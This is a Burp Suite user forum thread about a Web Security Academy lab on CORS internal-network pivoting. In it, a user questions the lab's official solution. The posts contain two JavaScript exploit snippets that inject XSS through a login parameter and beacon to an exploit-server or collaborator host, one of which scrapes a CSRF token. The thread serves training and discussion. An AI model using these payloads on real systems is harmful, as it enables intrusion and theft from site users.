Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Question/bug on lab "CORS vulnerability with internal network pivot attack"

Sascha | Last updated: Jul 04, 2023 01:03PM UTC

While trying to solve the mentioned lab, the retrieved HTML code from the internal website cleary states that the request for the "login" is a POST. However, the solution silently continues with a GET to trigger the XSS. If I actually do a POST request, the server only responds with a status 400 and the error "Invalid CSRF token (session does not contain a CSRF token)". Is this a bug or is it really just intended as a "pitfall"? In addition I found that the server doesn't even validate the csrf token and the following script is already sufficient to place the XSS: <script> let exploitServer = "http://XXXXX.exploit-server.net"; let targetServer = "http://192.168.0.XXX:8080"; location = targetServer + '/login?username=test"><img src="' + exploitServer + '/?attackedXSS=1">&passwords=pass'; </script> And even if it would validate the token, the provided solution would not even work: <script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r => r.text().then(text => { xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>'); })) } fetchUrl("http://$ip", "http://$collaboratorPayload"); </script> As the fetch is not sent with credentials (since it looks like the server does not allow it) the server would generate a new session. If the CSRF token is bound to a session the returned token would then belong to this new session. But the browser would not accept the new returned session cookie. However, the redirect via the "location" assignment is then performed in the original session of the user. So the token obtained for the new session would not match the token in the existing user session. This would also explain the problems with the POST: A POST would be sent within an empty session and the POST endpoint would not create a new session/token... Am I right or am I missing something? Or is it really just meant as a rabbit hole (which I went down quite a bit now)?

Dominyque, PortSwigger Agent | Last updated: Jul 05, 2023 06:57AM UTC

Hi Sascha Have you followed along with the community solution video attached at the bottom of the lab?

Sascha | Last updated: Jul 05, 2023 07:50AM UTC

Hi Dominyque, yes, I also watched the video. But they use the same solution. I can completely solve the lab with the solution - that's not the problem! But I think the solution is at least partially wrong!

Dominyque, PortSwigger Agent | Last updated: Jul 05, 2023 08:26AM UTC